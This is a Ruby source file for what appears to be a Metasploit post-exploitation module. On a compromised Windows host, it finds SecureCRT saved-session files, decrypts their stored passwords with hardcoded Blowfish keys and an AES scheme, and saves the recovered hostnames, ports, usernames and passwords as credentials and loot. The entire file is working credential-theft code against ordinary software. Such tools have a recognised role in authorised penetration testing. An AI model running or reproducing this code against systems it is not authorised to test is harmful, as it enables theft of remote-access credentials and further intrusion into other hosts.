##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Windows::Registry

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows SecureCRT Session Information Enumeration',
        'Description' => %q{
          This module will determine if SecureCRT is installed on the target system and, if it is, it will try to
          dump all saved session information from the target. The passwords for these saved sessions will then be decrypted
          where possible, using the decryption information that HyperSine reverse engineered.

          Note that whilst SecureCRT has installers for Linux, Mac and Windows, this module presently only works on Windows.
        },
        'License' => MSF_LICENSE,
        'References' => [
          [ 'URL', 'https://github.com/HyperSine/how-does-SecureCRT-encrypt-password/blob/master/doc/how-does-SecureCRT-encrypt-password.md']
        ],
        'Author' => [
          'HyperSine', # Original author of the SecureCRT session decryption script and one who found the encryption keys.
          'Kali-Team <kali-team[at]qq.com>' # Metasploit module
        ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Notes' => {
          'Reliability' => [],
          'Stability' => [],
          'SideEffects' => [ IOC_IN_LOGS ]
        },
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_search
              stdapi_fs_separator
            ]
          }
        }
      )
    )
    register_options(
      [
        OptString.new('PASSPHRASE', [ false, 'The configuration password that was set when SecureCRT was installed, if one was supplied']),
        OptString.new('SESSION_PATH', [ false, 'Specifies the session directory path for SecureCRT']),
      ]
    )
  end

  def blowfish_decrypt(secret_key, text)
    cipher = OpenSSL::Cipher.new('bf-cbc').decrypt
    cipher.padding = 0
    cipher.key_len = secret_key.length
    cipher.key = secret_key
    cipher.iv = "\x00" * 8
    cipher.update(text) + cipher.final
  end

  def try_encode_file(data)
    if data[0].unpack('C') == [255] && data[1].unpack('C') == [254]
      data[2..].force_encoding('UTF-16LE').encode('UTF-8')
    elsif data[0].unpack('C') == [254] && data[1].unpack('C') == [187] && data[2].unpack('C') == [191]
      data
    elsif data[0].unpack('C') == [254] && data[1].unpack('C') == [255]
      data[2..].force_encoding('UTF-16BE').encode('UTF-8')
    else
      data
    end
  end

  def enum_session_file(path)
    config_ini = []
    tbl = []
    begin
      print_status("Searching for session files in #{path}")
      config_ini += session.fs.file.search(path, '*.ini')
      fail_with(Failure::BadConfig, "Couldn't find any session files at #{path}") if config_ini.empty?
    rescue Rex::Post::Meterpreter::RequestError
      fail_with(Failure::BadConfig, "The SecureCRT registry key on the target is likely misconfigured. The directory at #{path} is inaccessable or doesn't exist")
    end

    # enum session file
    config_ini.each do |item|
      file_name = item['path'] + session.fs.file.separator + item['name']
      file_contents = read_file(file_name) if !['__FolderData__.ini', 'Default.ini'].include?(item['name'])
      if file_contents.nil? || file_contents.empty?
        next
      end

      file = try_encode_file(file_contents).force_encoding(Encoding::UTF_8)
      protocol = file[/"Protocol Name"=(?<protocol>[^\s]+)/u, 'protocol']
      hostname = file[/"Hostname"=(?<hostname>[^\s]+)/u, 'hostname']
      decrypted_script = securecrt_crypto_v2(file[/"Login Script V3"=02:(?<script>[0-9a-f]+)/u, 'script'])
      if !decrypted_script.nil?
        username = decrypted_script[/l*ogin(?: name)?:\x1F(?<login>\S+)\x1F(?:\d)\x1Fp*ass/u, 'login']
        password = decrypted_script[/p*assword:\x1F(?<password>\S+)\x1F/u, 'password']
        domain = decrypted_script[/[Ww]*indows [Dd]*omain:\x1F(?<domain>\S+)\x1F/u, 'domain']
        if !domain.nil? && !username.nil?
          username = "#{domain}\\#{username}"
        end
      else
        password = securecrt_crypto(file[/"Password"=u(?<password>[0-9a-f]+)/u, 'password'])
        passwordv2 = securecrt_crypto_v2(file[/"Password V2"=02:(?<passwordv2>[0-9a-f]+)/, 'passwordv2'])
        username = file[/"Username"=(?<username>[^\s]+)/, 'username']
      end

      port = file[/#{protocol}\r\n\w:"Port"=(?<port>[0-9a-f]{8})/, 'port']&.to_i(16)&.to_s
      port = file[/\[#{protocol}\] Port"=(?<port>[0-9a-f]{8})/, 'port']&.to_i(16)&.to_s if port.nil?

      tbl << {
        file_name: item['name'],
        protocol: protocol.nil? ? protocol : protocol.downcase,
        hostname: hostname,
        port: port,
        username: username,
        password: password || passwordv2
      }
    end
    return tbl
  end

  def securecrt_crypto(ciphertext)
    return nil if ciphertext.nil? || ciphertext.empty?

    key1 = "\x24\xA6\x3D\xDE\x5B\xD3\xB3\x82\x9C\x7E\x06\xF4\x08\x16\xAA\x07"
    key2 = "\x5F\xB0\x45\xA2\x94\x17\xD9\x16\xC6\xC6\xA2\xFF\x06\x41\x82\xB7"
    ciphered_bytes = [ciphertext].pack('H*')
    cipher_tmp = blowfish_decrypt(key1, ciphered_bytes)[4..-5]
    padded_plain_bytes = blowfish_decrypt(key2, cipher_tmp)
    (0..padded_plain_bytes.length).step(2) do |i|
      if (padded_plain_bytes[i] == "\x00" && padded_plain_bytes[i + 1] == "\x00")
        return padded_plain_bytes[0..i - 1].force_encoding('UTF-16LE').encode('UTF-8')
      end
    end
    print_warning('It was not possible to decode one of the v1 passwords successfully, please double check the results!')
    return nil # We didn't decode the password successfully, so just return nil.
  end

  def securecrt_crypto_v2(ciphertext)
    return nil if ciphertext.nil? || ciphertext.empty?

    iv = ("\x00" * 16)
    config_passphrase = datastore['PASSPHRASE'] || nil
    key = OpenSSL::Digest::SHA256.new(config_passphrase).digest
    aes = OpenSSL::Cipher.new('AES-256-CBC')
    aes.decrypt
    aes.key = key
    aes.padding = 0
    aes.iv = iv
    padded_plain_bytes = aes.update([ciphertext].pack('H*'))
    plain_bytes_length = padded_plain_bytes[0, 4].unpack1('l') # bytes to int little-endian format.
    plain_bytes = padded_plain_bytes[4, plain_bytes_length]
    plain_bytes_digest = padded_plain_bytes[4 + plain_bytes_length, 32]
    if (OpenSSL::Digest::SHA256.new(plain_bytes).digest == plain_bytes_digest) # verify
      return plain_bytes.force_encoding('UTF-8')
    end

    print_warning('It seems the user set a configuration password when installing SecureCRT!')
    print_warning('If you know the configuration password, please provide it via the PASSPHRASE option and then run the module again.')
    return nil
  end

  def securecrt_store_config(config)
    if config[:hostname].to_s.empty? || config[:service_name].to_s.empty? || config[:port].to_s.empty? || config[:username].to_s.empty? || config[:password].nil?
      return # If any of these fields are nil or are empty (with the exception of the password field which can be empty),
      # then we shouldn't proceed, as we don't have enough info to store a credential which someone could actually
      # use against a target.
    end

    service_data = {
      address: config[:hostname],
      port: config[:port],
      service_name: config[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :session,
      session_id: session_db_id,
      post_reference_name: refname,
      private_type: :password,
      private_data: config[:password],
      username: config[:username],
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data)
    create_credential_and_login(credential_data)
  end

  def run
    print_status("Gathering SecureCRT session information from #{sysinfo['Computer']}")
    securecrt_path = ''
    if datastore['SESSION_PATH'].to_s.empty?
      parent_key = 'HKEY_CURRENT_USER\\Software\\VanDyke\\SecureCRT'
      # get session file path
      root_path = registry_getvaldata(parent_key, 'Config Path')
      securecrt_path = expand_path("#{root_path}#{session.fs.file.separator}Sessions") if !root_path.to_s.empty?
    else
      securecrt_path = expand_path(datastore['SESSION_PATH'])
    end

    if securecrt_path.to_s.empty?
      fail_with(Failure::NotFound, 'Could not find the registry entry for the SecureCRT session path. Ensure that SecureCRT is installed on the target.')
    else
      result = enum_session_file(securecrt_path)
      columns = [
        'Filename',
        'Protocol',
        'Hostname',
        'Port',
        'Username',
        'Password',
      ]
      tbl = Rex::Text::Table.new(
        'Header' => 'SecureCRT Sessions',
        'Columns' => columns
      )
      result.each do |item|
        tbl << item.values
        config = {
          file_name: item[:file_name],
          hostname: item[:hostname],
          service_name: item[:protocol],
          port: item[:port].nil? ? '' : item[:port].to_i,
          username: item[:username],
          password: item[:password]
        }
        securecrt_store_config(config)
      end
      print_line(tbl.to_s)
      if tbl.rows.count
        path = store_loot('host.securecrt_sessions', 'text/plain', session, tbl, 'securecrt_sessions.txt', 'SecureCRT Sessions')
        print_good("Session info stored in: #{path}")
      end
    end
  end
end
